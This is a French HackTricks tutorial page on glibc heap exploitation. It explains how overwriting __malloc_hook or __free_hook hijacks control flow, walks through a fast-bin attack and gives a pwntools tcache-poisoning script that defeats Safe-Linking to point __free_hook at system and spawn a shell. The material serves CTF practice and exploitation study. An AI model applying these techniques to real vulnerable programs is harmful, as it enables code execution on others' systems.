WWW2Exec - __malloc_hook & __free_hook
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Malloc Hook
Comme vous pouvez le voir sur le site officiel de GNU, la variable __malloc_hook
est un pointeur pointant vers l'adresse d'une fonction qui sera appelée chaque fois que malloc()
est appelée stockée dans la section de données de la bibliothÚque libc. Par conséquent, si cette adresse est écrasée avec un One Gadget par exemple et que malloc
est appelé, le One Gadget sera appelé.
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en appelant printf("%10000$c")
qui alloue trop d'octets, ce qui fait que libc
appelle malloc pour les allouer dans le tas.
Plus d'infos sur One Gadget dans :
warning
Notez que les hooks sont dĂ©sactivĂ©s pour GLIBC >= 2.34. Il existe d'autres techniques qui peuvent ĂȘtre utilisĂ©es sur les versions modernes de GLIBC. Voir : https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Cela a été abusé dans un des exemples de la page abusant d'une attaque de fast bin aprÚs avoir abusé d'une attaque d'unsorted bin :
Il est possible de trouver l'adresse de __free_hook
si le binaire a des symboles avec la commande suivante :
gef†p &__free_hook
Dans le post, vous pouvez trouver un guide étape par étape sur la façon de localiser l'adresse du free hook sans symboles. En résumé, dans la fonction free :
gef†x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
Dans le point d'arrĂȘt mentionnĂ© dans le code prĂ©cĂ©dent, $eax
contiendra l'adresse du free hook.
Maintenant, une attaque fast bin est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des chunks de taille 200 à l'emplacement de
__free_hook
: gef†p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef†x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau chunk de taille
0xfc
est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille0xfc*2 = 0x1f8
dans le fast bin. - Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse
fd
de ce fast bin afin de pointer vers la fonction__free_hook
précédente. - Ensuite, un chunk de taille
0x1f8
est créé pour récupérer du fast bin le chunk inutile précédent, donc un autre chunk de taille0x1f8
est créé pour obtenir un chunk fast bin dans le__free_hook
qui est écrasé avec l'adresse de la fonctionsystem
. - Et enfin, un chunk contenant la chaĂźne
/bin/sh\x00
est libéré en appelant la fonction de suppression, déclenchant la fonction__free_hook
qui pointe vers system avec/bin/sh\x00
comme paramĂštre.
Poisoning de Tcache & Safe-Linking (glibc 2.32 â 2.33)
glibc 2.32 a introduit Safe-Linking â un contrĂŽle d'intĂ©gritĂ© qui protĂšge les listes simplement liĂ©es utilisĂ©es par tcache et fast-bins. Au lieu de stocker un pointeur avant brut (fd
), ptmalloc le stocke maintenant obfusqué avec le macro suivant :
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Conséquences de l'exploitation :
- Un heap leak est obligatoire â l'attaquant doit connaĂźtre la valeur d'exĂ©cution de
chunk_addr >> 12
pour crĂ©er un pointeur obfusquĂ© valide. - Seul le pointeur de 8 octets complet peut ĂȘtre forgĂ© ; les Ă©crasements partiels d'un octet ne passeront pas la vĂ©rification.
Un primitive de tcache-poisoning minimale qui écrase __free_hook
sur glibc 2.32/2.33 ressemble donc Ă :
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free â poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Le extrait ci-dessus a Ă©tĂ© adaptĂ© des rĂ©cents dĂ©fis CTF tels que UIUCTF 2024 â «Rusty Pointers» et openECSC 2023 â «Babyheap G», qui reposaient tous deux sur des contournements de Safe-Linking pour Ă©craser __free_hook
.
Qu'est-ce qui a changé dans glibc ℠2.34 ?
à partir de glibc 2.34 (août 2021), les hooks d'allocation __malloc_hook
, __realloc_hook
, __memalign_hook
et __free_hook
ont été supprimés de l'API publique et ne sont plus invoqués par l'allocateur. Des symboles de compatibilité sont toujours exportés pour les binaires hérités, mais les écrasements ne influencent plus le flux de contrÎle de malloc()
ou free()
.
Implication pratique : sur les distributions modernes (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.), vous devez passer à d'autres primitives de détournement (IO-FILE, __run_exit_handlers
, vtable spraying, etc.) car les écrasements de hooks échoueront silencieusement.
Si vous avez encore besoin du comportement ancien pour le débogage, glibc fournit libc_malloc_debug.so
qui peut ĂȘtre prĂ©chargĂ© pour rĂ©activer les hooks hĂ©ritĂ©s â mais la bibliothĂšque n'est pas destinĂ©e Ă la production et pourrait disparaĂźtre dans de futures versions.
Références
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking â Ălimination d'une primitive d'exploitation malloc() vieille de 20 ans (Check Point Research, 2020)
- Notes de version de glibc 2.34 â suppression des hooks malloc
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.